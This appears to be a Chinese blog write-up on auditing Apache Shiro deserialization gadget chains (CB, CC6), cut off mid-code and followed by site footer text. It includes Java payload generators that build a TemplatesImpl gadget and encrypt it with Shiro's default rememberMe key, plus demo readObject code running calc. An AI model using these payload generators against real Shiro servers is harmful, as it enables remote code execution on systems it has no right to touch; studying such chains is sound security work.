shiro-cb链审计

背景:

+ 在审计shrio框架的时候,不存在cc链,只有cb链,需要进行cb链的分析和审计

demo

> 依旧先写一个demo,帮助理解前沿知识 >

package com.example.serializabledemo;

import java.io.*;


public class SeriaTest implements Serializable {

    //序列化操作
    public static void serializeT(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("seria.bin"));
        oos.writeObject(obj);
    }
    public static void main(String[] args) throws IOException, IllegalAccessException, NoSuchFieldException {
        User u = new User("anger","boy",18);
        //System.out.println(u);
        serializeT(u);
    }


}

User类:
package com.example.serializabledemo;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class User implements Serializable {

    public String name="anger";
    public String gender="man";
    public Integer age=100;


    public User(String name,String gender,Integer age){
        this.name=name;
        this.gender=gender;
        this.age = age;
//        System.out.println(name);
//        System.out.println(gender);
//        System.out.println(age);
    }

    public String getName() {
        System.out.println("getName被调用");
        return name;
    }

    public Integer getAge() {
        System.out.println("getAge被调用");
        return age;
    }


    public String getGender() {
        System.out.println("getGender被调用");
        return gender;
    }

    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", gender='" + gender + '\'' +
                ", age=" + age +
                '}';
        //Runtime.getRuntime().exec("calc");
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        //指向正确defaultReadObject
        //ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }



}

这里的代码主要是通过创建一个User方法,其中参数为anger,boy,18

[外链图片转存中…(img-wYB7Fjzt-1734834276199)]

运行序列化文件,生成这个seria.bin文件

然后继续运行反序列化,就会弹出计算器

[外链图片转存中…(img-kfhqJcc4-1734834276199)]

这里原因在于这个User类中的readObject方法,这相当于是在重写方法,执行calc,导致弹出计算器

注释:
> 这里的反序列化中的代码中,Object obj = ois.readObject();就会触发这个User类中的readObject方法 > > 然后再readObject方法中,调用了Runtime.x.exec方法,导致了弹出计算器 >
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();

然后再写一个demo:

package com.example.serializabledemo;

import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;

public class Beananger {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {

        PropertyUtils.getProperty(new User("anger","man",18),"name");
    }
}

  • 这里代码主要是看这个PropertyUtils.getProperty方法,其中他有两个参数:bean,name,所以这里bean参数传入一个new User的方法,name就传入name,执行这里的代码

[外链图片转存中…(img-xm6IraSZ-1734834276199)]可以看到getName方法被调用了那么继续换个参数尝试[外链图片转存中…(img-sF0kr37a-1734834276199)]

这里看到这个调用的方法为getAge方法,所以这里的方法调用是有参数决定的

注释:
> 这里的PropertyUtils.getProperty方法就是CB里面的类方法,对象的一个方法进行调用 > > name=age -> 类的getAge方法 > > 这里的这个方法是整个cb链的利用成功的主要节点,关键点!!! >
举例
```plain PropertyUtils.getProperty(new Person(),"name"); //那么自动调用Person对象里面的getName方法 PropertyUtils.getProperty(new TemplatesImpl(),"outputProperties") //那么自动调用TemplatesImpl对象里面的getOutputProperties方法 ```

web端的demo

+ 写一个web端的demo看看

[外链图片转存中…(img-j9H2DMZR-1734834276199)]

[外链图片转存中…(img-hMgZihLm-1734834276200)]

[外链图片转存中…(img-W05cEvld-1734834276200)]

  • 登录成功尝试看看抓包利用

直接使用已有现成的工具代码:

[外链图片转存中…(img-qrNYzeRU-1734834276200)]

这里项目中泄露三个利用链,分别是cc6链,ccshiro,cb链

逐一分析:

直接启动这个服务代码

[外链图片转存中…(img-SmAQTIMa-1734834276200)]

这里生成好的加密字符串,直接放在前面抓包得到的RememberMe中

[外链图片转存中…(img-U8XF1TNC-1734834276200)]

修改后,发包,这里回显200,但是没有执行出shiro利用链的结果,无法利用!

这里调用的这个ccshrio文件为:

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}
public class Client {
    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}
注:
+ 这里就是利用前面`byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());`生成的加密字符串,从而调用到ccshrio中,在ccshrio中会执行恶意代码,导致利用,与后面的cc链,cb链都是一样的思路

CC链:[外链图片转存中…(img-szLqxQun-1734834276200)]

这里修改完请求包,依然没有利用成功

Client0代码:

public class Client0 {
    public static void main(String []args) throws Exception {
        byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

CommonsCollections6代码:

public class CommonsCollections6 {
    public byte[] getPayload(String command) throws Exception {
   
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值